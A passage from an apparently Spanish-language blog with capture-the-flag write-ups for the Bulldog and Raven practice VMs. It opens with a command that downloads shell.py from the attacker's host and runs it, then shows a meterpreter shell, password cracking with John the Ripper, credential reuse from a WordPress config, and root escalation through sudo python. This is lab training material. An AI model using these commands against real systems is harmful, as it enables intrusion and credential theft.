pwd | wget http://10.0.2.15:8000/shell.py | python shell.py

 


Ahora tenemos acceso y se necesita una shell

meterpreter > shell
Process 1222 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off

Después a spawnear la terminal con python

$ python -c 'import pty; pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

bash: /root/.bashrc: Permission denied
django@bulldog:/home/django/bulldog$

 

Luego de explorar un poco los directorios se encuentra un directorio muy interesante llamado .hiddenadmindirectory. dentro hay una pista, una nota, que le escriben a nick sobre un prototipo de un aplicativa para asignar cuentas.

Curiosamente le hice un cat a la aplicación se encontró un texto muy llamativo

��H�SUPERultH�E�H�imatePASH�E�H�SWORDyouH�E�H�CANTgetH�E�H�U�

 

Al aplicar el comando strings al mismo archivo se encuentra una grandiosa pista

UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
Usage: ./customPermissionApp <username>
sudo su root
;*3$"

 

Ahora se va probar si tengo obtengo usuario root con la cadena de arriba quizás tenga algún tipo de concatenante, con el comando sudo su, se obtuvo usuario root con la contraseña

SUPERultimatePASSWORDyouCANTget

 

Ahora se explora los directorios para encontrar la flag.

root@bulldog:/# cd root
cd root
root@bulldog:~# ls
ls
congrats.txt
root@bulldog:~# cat congrats.txt
cat congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!
 

 

Muchas gracias a @frichette_n que nos brindo esta MV. Hasta la proxima.

lunes, 4 de octubre de 2021

CTF Raven VM



 

Primero haré un escaneo haciendo un ping a todas las maquinas que están conectadas a este segmento de red

└─$ nmap -sP 10.0.2.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-08-02 15:02 -05
Nmap scan report for 10.0.2.1
Host is up (0.0016s latency).
Nmap scan report for 10.0.2.11
Host is up (0.0010s latency).
Nmap scan report for 10.0.2.15
Host is up (0.00056s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.59 seconds


Luego de encontrar información sobre ese objetivo.

─$ sudo nmap -sV -O 10.0.2.11                                                                                                                                     
Starting Nmap ( https://nmap.org ) at 2021-08-02 15:05 -05
Nmap scan report for 10.0.2.11
Host is up (0.00056s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Ahora se escanea las paths disponibles, mientras se da un peqeño vistaso al servicio que esta corriendo por el puerto 80.El escaner arrojo algo similar a esto.


└─$ dirb  http://10.0.2.11:80

-----------------
DIRB
By The Dark Raver
-----------------

START_TIME: Tue Aug  2 15:20:51 2021
URL_BASE: http://10.0.2.11:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                         

---- Scanning URL: http://10.0.2.11:80/ ----
==> DIRECTORY: http://10.0.2.11:80/css/                                                                                                                               
==> DIRECTORY: http://10.0.2.11:80/fonts/                                                                                                                             
==> DIRECTORY: http://10.0.2.11:80/img/                                                                                                                               
+ http://10.0.2.11:80/index.html (CODE:200|SIZE:16819)                                                                                                                
==> DIRECTORY: http://10.0.2.11:80/js/                                                                                                                                
==> DIRECTORY: http://10.0.2.11:80/manual/                                                                                                                            
+ http://10.0.2.11:80/server-status (CODE:403|SIZE:297)                                                                                                               
==> DIRECTORY: http://10.0.2.11:80/vendor/                                                                                                                            
==> DIRECTORY: http://10.0.2.11:80/wordpress/

...

 

Ahora que se sabe que es hay un blog basado en worpress se podra intentar escanearlo mediante una herramienta llamada wpscan.

└─$ wpscan --url http://10.0.2.11:80/wordpress/ --wp-content-dir -ep -et -eu

...
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://10.0.2.11/wordpress/ [10.0.2.11]
[+] Started: Tue Aug 2 15:40:13 2021

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.0.2.11/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://10.0.2.11/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://10.0.2.11/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

...

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <==========================================================================================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
...

 

Se ha encontrado 2 usuarios en el sistema, ahora intento ingresar con fuerza bruta con las posibles contraseñas.

└─$ ssh michael@10.0.2.11
The authenticity of host '10.0.2.11 (10.0.2.11)' can't be established.
...
michael@10.0.2.11's password: michael

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
michael@Raven:~$  


Ahora a explorar, existe otro usuario steve, al revisar ficheros a simple vista no se encontro nada llamativo, al revisar los grupos en los que pertenecia este usuario no habia nada muy revelador

michael@Raven:/etc$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Bueno al revisar las conexiones de red, se encontro esto

michael@Raven:/etc$ netstat -putana
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:44713 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 10.0.2.11:22 10.0.2.15:39360 ESTABLISHED -
tcp6 0 0 :::60971 :::* LISTEN -
tcp6 0 0 :::111 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:52685 0.0.0.0:* -
udp 0 0 0.0.0.0:1000 0.0.0.0:* -
udp 0 0 127.0.0.1:1010 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 0.0.0.0:13162 0.0.0.0:* -
udp 0 0 0.0.0.0:111 0.0.0.0:* -
udp6 0 0 :::1000 :::* -
udp6 0 0 :::48931 :::* -
udp6 0 0 :::111 :::* -
udp6 0 0 :::41844 :::* -

El puerto 3306 es de mysql, el 22 es el de ssh, entre otros. Revisando los servicios que estan corriendo en la maquina

michael@Raven:/etc$ systemctl status
● Raven
State: running
Jobs: 0 queued
Failed: 0 units
Since: Wed 2022-08-03 01:00:46 AEST; 2h 42min ago
CGroup: /
├─1 /sbin/init
└─system.slice
├─dbus.service
│ └─433 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
├─cron.service
│ └─425 /usr/sbin/cron -f
├─nfs-common.service
│ ├─410 /sbin/rpc.statd
│ └─424 /usr/sbin/rpc.idmapd
...
├─apache2.service
├─networking.service
│ └─378 dhclient -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0
...
├─mysql.service
│ ├─538 /bin/sh /usr/bin/mysqld_safe
│ └─932 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-error=/var/log/mysql/error.log --pid-
...
├─sendmail.service
│ └─574 sendmail: MTA: accepting connections 


Buscando en las carpetas encontre una flag

michael@Raven:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}

Encontre en que el servicio mail estaba enviando correos, ahora al ir a la carpeta de wordpress y examinar la carpeta de configuracion, se encuentra algunas pistas

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

 

Y con estas, se puede acceder a la base de datos desde la consola, se va a buscar los usuarios guardados en worpress

michael@Raven:/var/www/html/wordpress$ mysql -u root -p
Enter password: R@v3nSecurity
Welcome to the MySQL monitor. Commands end with ; or \g.
...

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

Ahora a

mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.03 sec)


mysql> show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.00 sec)

mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org | | 2018-08-12 22:49:12 | | 0 | michael |
| 2 | steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven | steven@raven.org | | 2018-08-12 23:31:16 | | 0 | Steven Seagull |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
2 rows in set (0.00 sec)
 

Guardando en un archivo el hash de la clave de steven, porque la de michael ya la tenemos, se usara john the ripper para crackear ese hash

└─$ john user_hash

Created directory: /home/aka-linux/.john
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
pink84 (?)
...

Teniendo la contraseña, pink84, se accede al usuario steven.

michael@Raven:/var/www/html/wordpress$ su steven, se revisa los grupos a los que pertenece
Password: pink84
$ id
uid=1001(steven) gid=1001(steven) groups=1001(steven)

listará los comandos permitidos para el usuario que lo invoca, en este caso python , asi que se va hacer un spawn con python
$ su -l
Password:
su: Authentication failure
$ sudo -l
Matching Defaults entries for steven on raven:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
(ALL) NOPASSWD: /usr/bin/python


$ sudo python -c "import pty; pty.spawn('/bin/bash')"
root@Raven:/var/www/html/wordpress# id
uid=0(root) gid=0(root) groups=0(root)
root@Raven:/var/www/html/wordpress#
root@Raven:~# cd
root@Raven:~# cat flag4.txt
______

| ___ \

| |_/ /__ ___ _____ _ __

| // _` \ \ / / _ \ '_ \

| |\ \ (_| |\ V / __/ | | |

\_| \_\__,_| \_/ \___|_| |_|


flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io 

Muchas gracias a @mccannw que nos brindo esta VM. Hasta la proxima.